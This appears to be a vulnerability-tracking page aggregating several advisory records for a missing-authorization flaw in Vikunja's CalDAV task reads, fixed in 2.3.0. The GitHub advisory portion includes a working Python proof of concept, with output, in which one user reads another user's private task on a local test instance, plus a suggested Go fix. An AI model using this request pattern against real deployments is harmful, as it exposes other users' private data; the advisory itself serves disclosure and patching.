Vikunja has Missing Authorization on CalDAV Task Read

CISA KEV is observed exploitation evidence. FIRST EPSS is a dated prediction of exploitation in the next 30 days. Missing scores are unknown. This collector requests predictions only for explicit CVE aliases in the public NuGet archive; Microsoft release views retain their existing prediction scope.

No collected risk observation for these identifiers. This does not establish absence of exploitation or a zero probability.

Vikunja is an open-source self-hosted task management platform. Prior to 2.3.0, the CalDAV GetResource and GetResourcesByList methods fetch tasks by UID from the database without verifying that the authenticated user has access to the task's project. Any authenticated CalDAV user who knows (or guesses) a task UID can read the full task data from any project on the instance. This vulnerability is fixed in 2.3.0.

Source published

10 Apr 2026 16:04:32 UTC

Source modified

14 Apr 2026 14:20:44 UTC

Observed here

23 Oct 2026 15:48:27 UTC

Source terms

CVE Program Terms of Use

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CVSS 3.1 · 4.3 CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N

Vikunja is an open-source self-hosted task management platform. Prior to 2.3.0, the CalDAV GetResource and GetResourcesByList methods fetch tasks by UID from the database without verifying that the authenticated user has access to the task's project. Any authenticated CalDAV user who knows (or guesses) a task UID can read the full task data from any project on the instance. This vulnerability is fixed in 2.3.0.

Source published

Apr 10, 2026, 4:04:32 PM (timezone not stated)

Source modified

Apr 14, 2026, 2:20:44 PM (timezone not stated)

Observed here

28 Oct 2026 04:56:22 UTC

Source terms

ENISA EUVD · source terms and attribution apply

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EUVD CVSS 3.1 · 4.3 CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N

Vikunja is an open-source self-hosted task management platform. Prior to 2.3.0, the CalDAV GetResource and GetResourcesByList methods fetch tasks by UID from the database without verifying that the authenticated user has access to the task's project. Any authenticated CalDAV user who knows (or guesses) a task UID can read the full task data from any project on the instance. This vulnerability is fixed in 2.3.0.

Source published

10 Apr 2026 17:17:03 UTC

Source modified

26 Oct 2026 21:10:00 UTC

Observed here

27 Oct 2026 09:03:12 UTC

Source terms

NIST NVD usage terms; underlying source attribution retained

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CVSS 3.1 · [email protected] · Secondary · 4.3 CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N

## Summary The CalDAV `GetResource` and `GetResourcesByList` methods fetch tasks by UID from the database without verifying that the authenticated user has access to the task's project. Any authenticated CalDAV user who knows (or guesses) a task UID can read the full task data from any project on the instance. ## Details `GetTasksByUIDs` at `pkg/models/tasks.go:376-393` performs a global database query with no authorization check: ```go func GetTasksByUIDs(s *xorm.Session, uids []string, a web.Auth) (tasks []*Task, err error) { tasks = []*Task{} err = s.In("uid", uids).Find(&tasks) // ... } ``` The `web.Auth` parameter is accepted but never used for permission filtering. This function is called by: - `GetResource` at `pkg/routes/caldav/listStorageProvider.go:266` (CalDAV GET) - `GetResourcesByList` at `pkg/routes/caldav/listStorageProvider.go:199` (CalDAV REPORT multiget) All other CalDAV operations enforce authorization: `CreateResource` checks `CanCreate()`, `UpdateResource` checks `CanUpdate()`, `DeleteResource` checks `CanDelete()`. Only the read operations skip authorization. The project ID in the CalDAV URL is ignored. A request to `/dav/projects/{attacker_project}/{victim_task_uid}.ics` returns the victim's task regardless of which project ID is in the path. ## Proof of Concept Tested on Vikunja v2.2.2. ```python import requests from requests.auth import HTTPBasicAuth TARGET = "http://localhost:3456" API = f"{TARGET}/api/v1" def login(u, p): return requests.post(f"{API}/login", json={"username": u, "password": p}).json()["token"] def h(token): return {"Authorization": f"Bearer {token}", "Content-Type": "application/json"} alice_token = login("alice", "Alice1234!") bob_token = login("bob", "Bob12345!") # alice creates private project and task proj = requests.put(f"{API}/projects", headers=h(alice_token), json={"title": "Private"}).json() task = requests.put(f"{API}/projects/{proj['id']}/tasks", headers=h(alice_token), json={"title": "Secret CEO salary 500k"}).json() # task UID must be set (normally done by CalDAV sync; here via sqlite for PoC) # sqlite3 vikunja.db "UPDATE tasks SET uid='test-uid-001' WHERE id={task['id']};" TASK_UID = "test-uid-001" # bob tries REST API r = requests.get(f"{API}/tasks/{task['id']}", headers=h(bob_token)) print(f"REST API: {r.status_code}") # 403 # bob gets CalDAV token caldav_token = requests.put(f"{API}/user/settings/token/caldav", headers=h(bob_token)).json()["token"] # bob reads alice's task via CalDAV (project ID in URL doesn't matter) r = requests.get(f"{TARGET}/dav/projects/{proj['id']}/{TASK_UID}.ics", auth=HTTPBasicAuth("bob", caldav_token)) print(f"CalDAV: {r.status_code}") # 200 print(r.text) # contains SUMMARY:Secret CEO salary 500k ``` Output: ``` REST API: 403 CalDAV: 200 BEGIN:VCALENDAR VERSION:2.0 BEGIN:VTODO UID:test-uid-001 SUMMARY:Secret CEO salary 500k DUE:20260401T000000Z END:VTODO END:VCALENDAR ``` The REST API correctly returns 403, but CalDAV leaks the full task. The project ID in the CalDAV URL is ignored - bob can also use his own project ID and still get alice's task. ## Impact An authenticated CalDAV user who obtains a task UID (from shared calendar URLs, client sync logs, or enumeration) can read the full task details from any project in the instance, regardless of their access rights. This includes titles, descriptions, due dates, priority, labels, and reminders. In multi-tenant deployments, this exposes data across organizational boundaries. Task UIDs are UUIDv4 and not trivially enumerable, but they are exposed in CalDAV resource paths, client synchronization logs, and shared calendar contexts. ## Recommended Fix Add a `CanRead` permission check on each returned task's project in both `GetResource` and `GetResourcesByList`: ```go tasks, err := models.GetTasksByUIDs(s, []string{vcls.task.UID}, vcls.user) // ... for _, t := range tasks { project := &models.Project{ID: t.ProjectID} can, _, err := project.CanRead(s, vcls.user) if err != nil || !can { return nil, false, errs.ForbiddenError } } ``` --- *Found and reported by [aisafe.io](https://aisafe.io)*

Source published

10 Apr 2026 15:34:23 UTC

Source modified

25 Jun 2026 18:56:16 UTC

Observed here

24 Oct 2026 13:19:41 UTC

Source terms

GitHub Advisory Database · CC-BY-4.0

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CVSS_V3 · CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N

Publisher rating · MODERATE

Vikunja Missing Authorization on CalDAV Task Read in code.vikunja.io/api. NOTE: The source advisory for this report contains additional versions that could not be automatically mapped to standard Go module versions. (If this is causing false-positive reports from vulnerability scanners, please suggest an edit to the report.) The additional affected modules and versions are: code.vikunja.io/api before v2.3.0.

Source published

25 Jun 2026 18:26:48 UTC

Source modified

25 Jun 2026 18:45:22 UTC

Observed here

24 Oct 2026 13:19:41 UTC

Source terms

OSV · upstream source license applies

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This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: osv · OSV · upstream source license applies. Source text is retained; field grouping and change labels are provided by ChangeIntel.